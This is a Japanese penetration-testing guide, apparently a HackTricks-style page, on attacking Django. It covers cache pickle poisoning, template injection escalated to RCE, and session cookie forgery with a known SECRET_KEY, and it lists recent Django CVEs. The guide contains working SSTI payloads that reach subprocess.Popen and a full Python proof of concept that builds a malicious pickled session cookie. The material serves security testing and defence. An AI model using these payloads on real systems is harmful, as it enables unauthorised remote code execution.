Django

キャッシュ操作によるRCE

Djangoのデフォルトのキャッシュストレージ方法はPython picklesであり、信頼できない入力がアンピクルされるとRCEにつながる可能性があります。攻撃者がキャッシュへの書き込みアクセスを取得できれば、この脆弱性を基盤となるサーバーでのRCEにエスカレートさせることができます。

Djangoのキャッシュは、Redis、メモリ、ファイル、またはデータベースのいずれかに保存されます。Redisサーバーやデータベースに保存されたキャッシュは、最も攻撃されやすいベクトル（RedisインジェクションやSQLインジェクション）ですが、攻撃者はファイルベースのキャッシュを使用して任意の書き込みをRCEに変えることもできるかもしれません。メンテナはこれを非問題としてマークしています。キャッシュファイルフォルダー、SQLテーブル名、Redisサーバーの詳細は、実装に基づいて異なることに注意することが重要です。

このHackerOneのレポートは、SQLiteデータベースに保存されたDjangoキャッシュを悪用する素晴らしい再現可能な例を提供しています: https://hackerone.com/reports/1415436

サーバーサイドテンプレートインジェクション（SSTI）

Djangoテンプレート言語（DTL）はチューリング完全です。ユーザー提供のデータがテンプレート文字列としてレンダリングされる場合（例えば、Template(user_input).render()を呼び出すか、|safe/format_html()が自動エスケープを削除する場合）、攻撃者は完全なSSTI → RCEを達成する可能性があります。

検出

任意のサニタイズされていないリクエストデータを含むTemplate() / Engine.from_string() / render_to_string()への動的呼び出しを探します。
時間ベースまたは算術ペイロードを送信します:

{{7*7}}

レンダリングされた出力に49が含まれている場合、入力はテンプレートエンジンによってコンパイルされています。

プリミティブからRCEへ

Djangoは__import__への直接アクセスをブロックしますが、Pythonオブジェクトグラフにはアクセス可能です:

{{''.__class__.mro()[1].__subclasses__()}}

subprocess.Popenのインデックスを見つけ（Pythonビルドによって約400〜500）、任意のコマンドを実行します：

{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}

より安全なユニバーサルガジェットは、cls.__name__ == 'Popen'になるまで繰り返すことです。

同じガジェットは、ユーザー入力を誤って処理するDebug ToolbarやDjango-CMSのテンプレートレンダリング機能にも適用されます。

ピクルバックセッションクッキーRCE

設定SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'が有効になっている場合（またはピクルをデシリアライズするカスタムシリアライザー）、Djangoはビューコードを呼び出す前にセッションクッキーを復号化し、デシリアライズします。したがって、有効な署名キー（デフォルトではプロジェクトのSECRET_KEY）を持っているだけで、即座にリモートコード実行が可能です。

脆弱性の要件

サーバーがPickleSerializerを使用している。
攻撃者がsettings.SECRET_KEYを知っている/推測できる（GitHub、.env、エラーページなどからの漏洩）。

検証用コンセプト

#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64

class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))

mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")

クッキーを送信すると、ペイロードはWSGIワーカーの権限で実行されます。

緩和策: デフォルトの JSONSerializer を維持し、SECRET_KEY をローテーションし、SESSION_COOKIE_HTTPONLY を設定します。

最近の（2023-2025）高影響Django CVEをペンテスターが確認すべき

CVE-2025-48432 – エスケープされていない request.path を介したログインジェクション（2025年6月4日修正）。攻撃者が改行/ANSIコードをログファイルに密輸し、下流のログ分析を毒することを可能にします。パッチレベル ≥ 4.2.22 / 5.1.10 / 5.2.2。
CVE-2024-42005 – JSONField の QuerySet.values()/values_list() における重大なSQLインジェクション（CVSS 9.8）。JSONキーを作成して引用から抜け出し、任意のSQLを実行します。4.2.15 / 5.0.8で修正。

常に X-Frame-Options エラーページまたは /static/admin/css/base.css ハッシュを介して正確なフレームワークバージョンをフィンガープリンティングし、適用可能な場合は上記をテストしてください。

参考文献

Djangoセキュリティリリース – "Django 5.2.2, 5.1.10, 4.2.22がCVE-2025-48432に対処" – 2025年6月4日。
OP-Innovate: "DjangoがSQLインジェクションの欠陥CVE-2024-42005に対処するためのセキュリティ更新をリリース" – 2024年8月11日。

6.3 KiB Raw Blame History Unescape Escape